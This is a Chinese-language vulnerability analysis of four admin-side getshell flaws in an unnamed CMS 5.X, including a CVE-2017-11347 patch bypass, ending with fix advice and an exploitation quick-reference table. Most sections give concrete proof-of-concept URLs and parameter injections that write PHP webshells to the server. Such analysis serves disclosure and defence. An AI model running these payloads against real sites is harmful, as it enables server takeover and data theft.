某CMS 5.X版本GETSHELL漏洞合集
字数 1779 2025-08-29 08:32:00
某CMS 5.X版本GETSHELL漏洞合集分析报告
0x00 前言
某CMS在2018年1月底发布了6.0版本,修复了5.X版本中存在的多个后台Getshell漏洞。本报告将详细分析这些漏洞的利用方式和原理。
0x01 安装过程过滤不严导致Getshell
漏洞前提
- 有删除
/config/install.lock文件的权限
漏洞利用步骤
-
利用任意文件删除漏洞删除install.lock
- 漏洞文件:
/admin/app/batch/csvup.php - POC:
http://xxx.com/admin/app/batch/csvup.php?fileField=1_1231-1&flienamecsv=config/install.lock
- 漏洞文件:
-
重装时利用数据库配置文件过滤不当
- 漏洞文件:
/install/index.php - 可控参数:
$db_host,$db_username,$db_pass,$db_name,$db_prefix - 利用方式:在数据库配置时将任意参数设置为
*/phpinfo();/* - 生成的shell地址:
http://xxx.com/config/config_db.php
- 漏洞文件:
0x02 CVE-2017-11347补丁绕过继续Getshell
漏洞前提
- Windows服务器
- 知道网站绝对路径(至少知道网站index.php所在目录的上一级目录名)
绝对路径获取方法
- 访问
/install/phpinfo.php - 查看以下文件的报错信息(需查看网页源码):
/app/system/include/public/ui/admin/top.php/app/system/include/public/ui/admin/box.php/app/system/include/public/ui/web/sidebar.php
漏洞利用步骤
- 上传包含恶意代码的ico文件(如
<?php phpinfo();?>) - 构造payload(注意斜杠方向):
http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506587082.ico\www\about\shell.php|1- 其中
www需替换为网站index.php的上一级目录名
- 其中
- 生成的shell地址:
http://localhost/about/shell.php
0x03 Copyindx函数处理不当Getshell
漏洞特点
- 不同于CVE-2017-11347漏洞
- 利用的是Copyindex函数而非Copyfile
- 不需要上传图片
- 可结合CSRF实现一键Getshell
漏洞利用
- 漏洞文件:
admin/app/physical/physical.php - 触发条件:
$action=op且$op=3且$fileaddr[1]="index.php" - POC:
http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=xxx/index.php|phpinfo(); - 生成的shell地址:
http://localhost/xxx/index.php
0x04 olupdate文件缺陷导致Getshell
漏洞利用步骤
- 构造特殊请求:
/admin/system/olupdate.php?action=sql&sqlfile=1&string=<?php phpinfo();?>&addr=shell_dir&tableid=1000tableid需≥44(建议设为1000)addr参数指定shell存放目录
- 生成的shell地址:
http://xxx.com/admin/update/shell_dir/sqlist.php
0x05 总结
所有漏洞都需要后台管理员权限才能利用,但危害较大。建议用户尽快升级到6.0及以上版本以修复这些安全问题。
漏洞修复建议
- 对所有用户输入进行严格过滤
- 限制文件操作函数的参数
- 对配置文件写入操作进行内容检查
- 升级到最新版本CMS
附录:漏洞利用速查表
| 漏洞类型 | 利用文件 | 关键参数 | 生成shell路径 |
|---|---|---|---|
| 安装过滤不严 | /install/index.php | 数据库配置参数 | /config/config_db.php |
| CVE-2017-11347绕过 | /admin/app/physical/physical.php | valphy | /about/shell.php |
| Copyindx函数漏洞 | /admin/app/physical/physical.php | valphy | /自定义目录/index.php |
| olupdate漏洞 | /admin/system/olupdate.php | string, addr | /admin/update/自定义目录/sqlist.php |